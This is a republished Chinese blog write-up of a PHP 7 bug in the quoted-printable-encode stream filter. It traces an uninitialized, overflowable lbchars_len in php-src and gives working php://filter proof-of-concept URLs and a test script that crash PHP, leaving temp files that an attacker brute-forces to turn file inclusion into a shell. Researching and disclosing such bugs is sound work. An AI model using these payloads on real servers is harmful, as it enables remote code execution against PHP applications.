LFI to RCE without session.upload

栏目: PHP · 发布时间: 5年前

内容简介:在

One Line PHP Challenge

HITCON2018 由:tangerine:出的 One Line PHP Challenge ,利用了 filter 编码与 session.upload 搭配,从而构造出开头是 @<?php 的文件流,达成了RCE。

题目详情与writeup

A new way to exploit PHP7.2 from LFI to RCE

分析过程1

HITCON2018 的比赛过程中,我尝试了 convert.quoted-printable-encode 这个filter,但是我在data部分传入超大ascii码的字符时( php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf ),发现服务器报了 500 ,在本地测试,发现报错为:

LFI to RCE without session.upload

然后我就产生的疑问: 这么简单的功能,这么少的字符总数,为什么会分配这么多内存直到超过 limit ?

赛后我稍微跟了一下,发现最终的原因是陷入 strfilter_convert_append_bucket() 的循环里,每次倍增分配内存的大小。

https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1492

循环主体为:

// 获取的返回值一直为 PHP_CONV_ERR_TOO_BIG
err = php_conv_convert(inst->cd, &pt, &tcnt, &pd, &ocnt);

...

case PHP_CONV_ERR_TOO_BIG: {
	char *new_out_buf;
	size_t new_out_buf_size;
    
    
        
	new_out_buf_size = out_buf_size << 1;
        /*
         这里的new_out_buf_size为out_buf_size左移一位
         也就是说如果out_buf_size为一个比较小的数字,下面的if恒不成立 
        */
	if (new_out_buf_size < out_buf_size) {
	
	    if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
			goto out_failure; //只有这里能跳出循环
	    }

            php_stream_bucket_append(buckets_out, new_bucket);

            out_buf_size = ocnt = initial_out_buf_size;
            out_buf = pemalloc(out_buf_size, persistent);
            pd = out_buf;
	} else {
            //这里不断的在尝试alloc memory,因为陷入了循环,且分配大小每次倍增,所以很快就超过了限制
	    new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
	    pd = new_out_buf + (pd - out_buf);
	    ocnt += (new_out_buf_size - out_buf_size);
	    out_buf = new_out_buf;
	    out_buf_size = new_out_buf_size;
	    }
        } break;

按照 PHP 开发人员正常的逻辑,生成 PHP_CONV_ERR_TOO_BIG 错误就代表 out_buf_size 是个大数,通过左移能丢失最高位变成一个小数,从而进入 if 分支goto跳出循环,但是这里的问题是, errPHP_CONV_ERR_TOO_BIG , out_buf_size 是个小数。

我们来回溯一下为什么是这样

#define php_conv_convert(a, b, c, d, e) ((php_conv *)(a))->convert_op((php_conv *)(a), (b), (c), (d), (e))

LFI to RCE without session.upload

调用了 inst->cd->convert_op() ,也就是 php_conv_qprint_encode_convert()

static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p)
{
	php_conv_err_t err = PHP_CONV_ERR_SUCCESS;
	unsigned char *ps, *pd;
	size_t icnt, ocnt;
	unsigned int c;
	unsigned int line_ccnt;
	unsigned int lb_ptr;
	unsigned int lb_cnt;
	unsigned int trail_ws;
	int opts;
	static char qp_digits[] = "0123456789ABCDEF";

	line_ccnt = inst->line_ccnt;
	opts = inst->opts;
	lb_ptr = inst->lb_ptr;
	lb_cnt = inst->lb_cnt;

	if ((in_pp == NULL || in_left_p == NULL) && (lb_ptr >=lb_cnt)) {
		return PHP_CONV_ERR_SUCCESS;
	}

	ps = (unsigned char *)(*in_pp);
	icnt = *in_left_p;
	pd = (unsigned char *)(*out_pp);
	ocnt = *out_left_p;
	trail_ws = 0;

	for (;;) {
		if (!(opts & PHP_CONV_QPRINT_OPT_BINARY) && inst->lbchars != NULL && inst->lbchars_len > 0) {

所有的传入参数如下:

LFI to RCE without session.upload

LFI to RCE without session.upload

按照预期,qprint支持的可编码字符应该传入到这个分支

https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L896

但是因为我输入的字符中包含ascii码大于126的,导致进入了 else 分支 https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L919

inst->lbchars_len 可以看见是一个非常大的数,所以进入到了 if (ocnt < inst->lbchars_len + 1) 这个分支,导致一直返回 TOO BIG error

} else {
	if (line_ccnt < 4) {
		if (ocnt < inst->lbchars_len + 1) {
			err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
			break;
		}
		*(pd++) = '=';
		ocnt--;
		line_ccnt--;

		memcpy(pd, inst->lbchars, inst->lbchars_len);
		pd += inst->lbchars_len;
		ocnt -= inst->lbchars_len;
		line_ccnt = inst->line_len;
	}
	if (ocnt < 3) {
		err = PHP_CONV_ERR_TOO_BIG;
		break;
	}
	*(pd++) = '=';
	*(pd++) = qp_digits[(c >> 4)];
	*(pd++) = qp_digits[(c & 0x0f)];
	ocnt -= 3;
	line_ccnt -= 3;
	if (trail_ws > 0) {
		trail_ws--;
	}
	CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}

为什么 lbchars_len 这么大呢?

我发现它最初赋值的位置是

static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
	if (line_len < 4 && lbchars != NULL) {
		return PHP_CONV_ERR_TOO_BIG;
	}
	inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
	inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
	inst->line_ccnt = line_len;
	inst->line_len = line_len;
	if (lbchars != NULL) {
		inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
		inst->lbchars_len = lbchars_len;//这里赋值
	} else {
		inst->lbchars = NULL;
	}
	inst->lbchars_dup = lbchars_dup;
	inst->persistent = persistent;
	inst->opts = opts;
	inst->lb_cnt = inst->lb_ptr = 0;
	return PHP_CONV_ERR_SUCCESS;
}

inst 初始化的时候

https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1337

case PHP_CONV_QPRINT_ENCODE: {
	unsigned int line_len = 0;
	char *lbchars = NULL;
	size_t lbchars_len;
	int opts = 0;

	if (options != NULL) {
            ...
	}
	retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
        if (lbchars != NULL) {
		...
        
	} else {
            if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
			goto out_failure;
			}
		}
	} break;

因为我们使用 php:// 没有对 convert.quoted-printable-encode 附加 options , 所以这里的 options 就是 NULL ,,一直到了 else 分支, 我们可以看到他传的参数为 (php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)

至此,导致 lbcharsNULL ,导致 lbchars_len 没有被赋值。

第一个结论

inst->lbchars_len 变量未初始化调用

分析过程2

因为 inst->lbchars_len 是未初始化调用,是从内存中相应位置取出的值,PHP涉及到很多内存操作,那么有没有可能让我们控制整个值呢? 根据定义,我们知道lbchars_len长度为 8bytes ,通过调整 附加data 的长度,我发现会有一些request报文头的 8bytes 被存储到 inst->lbchars_len

LFI to RCE without session.upload

继续调整,将url的param部分泄露了出来 LFI to RCE without session.upload

LFI to RCE without session.upload

LFI to RCE without session.upload

这样我们就可以控制 inst->lbchars_len 的值了,但是因为 php://resource 内容不能包含 \x00 ,所以只能构造 \x01 - \xff 的内容

再回头看

} else {
	if (line_ccnt < 4) {
		if (ocnt < inst->lbchars_len + 1) {
			err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
			break;
		}
		*(pd++) = '=';
		ocnt--;
		line_ccnt--;

		memcpy(pd, inst->lbchars, inst->lbchars_len);
		pd += inst->lbchars_len;
		ocnt -= inst->lbchars_len;
		line_ccnt = inst->line_len;
	}
	if (ocnt < 3) {
		err = PHP_CONV_ERR_TOO_BIG;
		break;
	}
	*(pd++) = '=';
	*(pd++) = qp_digits[(c >> 4)];
	*(pd++) = qp_digits[(c & 0x0f)];
	ocnt -= 3;
	line_ccnt -= 3;
	if (trail_ws > 0) {
		trail_ws--;
	}
	CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}

可以发现 memcpy 的位置第二个参数是 NULL ,第一个,第三个参数可控,如果被调用,会导致一个 segfault ,从而在 tmp 下驻留文件,但是我们无法使用 %00 ,如何让 ocnt < inst->lbchars_len + 1 不成立呢?( ocnt 为data的长度),这里就要利用整数溢出,将 lbchars_len + 1 溢出到0

结论2

https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L921

inst->lbchars_len 可控且存在整数溢出

构造poc

所以控制可控部分为 \xff\xff\xff\xff\xff\xff\xff\xff 即可

以下poc会把 inst->lbchars_len 赋值成12345678(string)

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA87654321AAAAAAAAAAAAAAAAAAAAAAAA

如果要进入到 memcpy ,需要把相应部分替换成 %ff

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

此POC可导致PHP异常退出,tmp下的文件来不及回收,从而可以利用这些临时文件getshell.

可参考的tmp爆破方式

(生成62**3个文件,再去爆破)(小技巧: 每次请求可以发送20个文件)

其他问题

内存泄露

根据 ocnt < inst->lbchars_len + 1 这个判断条件,因为左式是data长度,是可控的,右侧是可以内存泄露的内容转int+1,所以存在着内存泄露的风险,不过十分难控制,而且泄露的大多是没用的(因为request报文存储在其附近)

heap overflow

memcpy() 第一个第三个参数可控,但是第二个参数因为是 NULL ,导致现在只能利用其segfault,所以很可惜(审了一下附近的代码,暂时没发现因这个可控参数引起的其他漏洞)

漏洞适用版本

test code

<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>

7.3 LFI to RCE without session.upload 7.2 LFI to RCE without session.upload 7.1 LFI to RCE without session.upload 7.0 LFI to RCE without session.upload

全版本通杀 PHP>7


以上所述就是小编给大家介绍的《LFI to RCE without session.upload》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Spring Into HTML and CSS

Spring Into HTML and CSS

Molly E. Holzschlag / Addison-Wesley Professional / 2005-5-2 / USD 34.99

The fastest route to true HTML/CSS mastery! Need to build a web site? Or update one? Or just create some effective new web content? Maybe you just need to update your skills, do the job better. Welco......一起来看看 《Spring Into HTML and CSS》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

随机密码生成器
随机密码生成器

多种字符组合密码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具